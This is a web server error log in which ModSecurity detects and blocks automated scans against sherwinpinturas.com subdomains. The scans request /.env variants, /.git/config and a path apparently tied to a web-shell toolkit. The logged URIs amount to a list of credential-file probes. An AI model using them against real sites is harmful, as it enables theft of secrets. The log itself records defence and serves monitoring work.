[Sat Oct 24 22:06:40.622756 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kMCTLSCb4RJ-3cSWWOwAAAAE"]
[Sat Oct 24 22:06:40.821482 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kMCTLSCb4RJ-3cSWWPAAAAAE"]
[Sat Oct 24 22:06:40.821731 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kMCTLSCb4RJ-3cSWWPAAAAAE"]
[Sat Oct 24 22:06:40.822062 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kMCTLSCb4RJ-3cSWWPAAAAAE"]
[Sat Oct 24 22:06:40.973889 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kMCTLSCb4RJ-3cSWWPQAAAAE"]
[Sat Oct 24 22:06:40.974156 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kMCTLSCb4RJ-3cSWWPQAAAAE"]
[Sat Oct 24 22:06:40.974494 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kMCTLSCb4RJ-3cSWWPQAAAAE"]
[Sat Oct 24 22:06:41.157568 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kMSTLSCb4RJ-3cSWWPgAAAAE"]
[Sat Oct 24 22:06:41.157817 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kMSTLSCb4RJ-3cSWWPgAAAAE"]
[Sat Oct 24 22:06:41.158147 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kMSTLSCb4RJ-3cSWWPgAAAAE"]
[Sat Oct 24 22:06:41.315439 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kMSTLSCb4RJ-3cSWWPwAAAAE"]
[Sat Oct 24 22:06:41.315692 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kMSTLSCb4RJ-3cSWWPwAAAAE"]
[Sat Oct 24 22:06:41.316070 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kMSTLSCb4RJ-3cSWWPwAAAAE"]
[Sat Oct 24 22:06:41.493336 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kMSTLSCb4RJ-3cSWWQAAAAAE"]
[Sat Oct 24 22:06:41.493580 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kMSTLSCb4RJ-3cSWWQAAAAAE"]
[Sat Oct 24 22:06:41.493911 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kMSTLSCb4RJ-3cSWWQAAAAAE"]
[Sat Oct 24 22:06:41.657764 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kMSTLSCb4RJ-3cSWWQQAAAAE"]
[Sat Oct 24 22:06:41.657993 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kMSTLSCb4RJ-3cSWWQQAAAAE"]
[Sat Oct 24 22:06:41.658329 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kMSTLSCb4RJ-3cSWWQQAAAAE"]
[Sat Oct 24 22:06:41.819619 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kMSTLSCb4RJ-3cSWWQgAAAAE"]
[Sat Oct 24 22:06:41.819871 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kMSTLSCb4RJ-3cSWWQgAAAAE"]
[Sat Oct 24 22:06:41.820215 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kMSTLSCb4RJ-3cSWWQgAAAAE"]
[Sat Oct 24 22:06:41.961546 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kMSTLSCb4RJ-3cSWWQwAAAAE"]
[Sat Oct 24 22:06:41.961789 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kMSTLSCb4RJ-3cSWWQwAAAAE"]
[Sat Oct 24 22:06:41.962109 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kMSTLSCb4RJ-3cSWWQwAAAAE"]
[Sat Oct 24 22:06:42.153981 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kMiTLSCb4RJ-3cSWWRAAAAAE"]
[Sat Oct 24 22:06:42.154232 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kMiTLSCb4RJ-3cSWWRAAAAAE"]
[Sat Oct 24 22:06:42.154553 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kMiTLSCb4RJ-3cSWWRAAAAAE"]
[Sat Oct 24 22:06:42.329270 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kMiTLSCb4RJ-3cSWWRQAAAAE"]
[Sat Oct 24 22:06:42.329524 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kMiTLSCb4RJ-3cSWWRQAAAAE"]
[Sat Oct 24 22:06:42.329846 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kMiTLSCb4RJ-3cSWWRQAAAAE"]
[Sat Oct 24 22:06:50.264541 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.223.193.255:50564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:06:54.304747 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 52.3.104.214:55145] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:06:58.284967 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.206.65.8:3651] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:07:06.140572 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.44.148.203:49190] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:07:11.439269 2026] [security2:error] [pid 2692918:tid 2692918] [client 185.191.171.1:17986] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/attendize/php82/install.php"] [unique_id "at1kT7UNAjBk2uOT2T-H2QAAAAo"]
[Sat Oct 24 22:07:11.439315 2026] [security2:error] [pid 2692918:tid 2692918] [client 185.191.171.1:17986] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/attendize/php82/install.php"] [unique_id "at1kT7UNAjBk2uOT2T-H2QAAAAo"]
[Sat Oct 24 22:07:14.282801 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.225.243.131:9001] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:07:26.124654 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kXlQTwXU83R4GW_mbhAAAACg"]
[Sat Oct 24 22:07:26.124940 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kXlQTwXU83R4GW_mbhAAAACg"]
[Sat Oct 24 22:07:26.125331 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kXlQTwXU83R4GW_mbhAAAACg"]
[Sat Oct 24 22:07:26.219421 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.144.185.255:11229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:07:26.381182 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kXlQTwXU83R4GW_mbhgAAACg"]
[Sat Oct 24 22:07:26.381500 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kXlQTwXU83R4GW_mbhgAAACg"]
[Sat Oct 24 22:07:26.381863 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kXlQTwXU83R4GW_mbhgAAACg"]
